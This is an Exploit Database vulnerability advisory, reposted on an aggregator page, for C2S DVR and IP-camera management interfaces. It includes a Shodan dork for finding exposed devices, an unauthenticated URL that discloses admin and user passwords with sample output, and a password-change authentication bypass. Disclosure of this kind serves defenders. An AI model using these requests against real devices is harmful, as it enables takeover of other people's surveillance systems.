C2S DVR Management IRDOME-II-C2S / IRBOX-II-C2S / DVR – Credentials Disclosure / Authentication Bypass

• Exploit Database
• 113 阅读

• 作者： Yakir Wizman
  日期： 2016-08-19
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/40265/
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  1. Advisory Information ======================================== Title : C2S DVR Management Remote Credentials Disclosure & Authentication Bypass Vendor Homepage : http://www.cash2s.com/en/ Remotely Exploitable : Yes Tested on Camera types : IRDOME-II-C2S, IRBOX-II-C2S, DVR Vulnerabilities : Credentials Disclosure + : Authentication bypass Date: 19/08/2016 Shodan Dork : html:write.cgi "Content-length: 2676" Author: Yakir Wizman (https://www.linkedin.com/in/yakirwizman) 2. CREDIT ======================================== This vulnerability was identified during penetration test by Yakir Wizman.     3. Description ======================================== C2S DVR allows to unauthenticated user disclose the username & password remotely by simple request to the server page 'read.cgi?page=2' which can be made by browser or burp/fiddler. Moreover, an attacker could easily access to password change page without any authentication, thats happen cuase the web application does not perform any session management.     4. Proof-of-Concept: ======================================== Remote Credentials Disclosure: ----------------------------------------------- Simply go to the following url to read the credentials: http://host:port/cgi-bin/read.cgi?page=2   Should return some javascript variable which contain the credentials and other configuration vars:   var pw_enflag = "1"; var pw_adminpw = "12345"; var pw_retype1 = "12345"; var pw_userpw = "56789"; var pw_retype2 = "56789"; var pw_autolock = "0";     Login @ http://host:port/ -----------------------------------------------     Authentication Bypass: ----------------------------------------------- The application does not require a valid session for any page on the server, for example you can access to 'password.htm' which allows you to change/disclose the admin password with just a few clicks.   http://host:port/password.htm?parm1=&parm2=1       5. SOLUTION ======================================== Contact the vendor for further information regarding the proper mitigation of this vulnerability.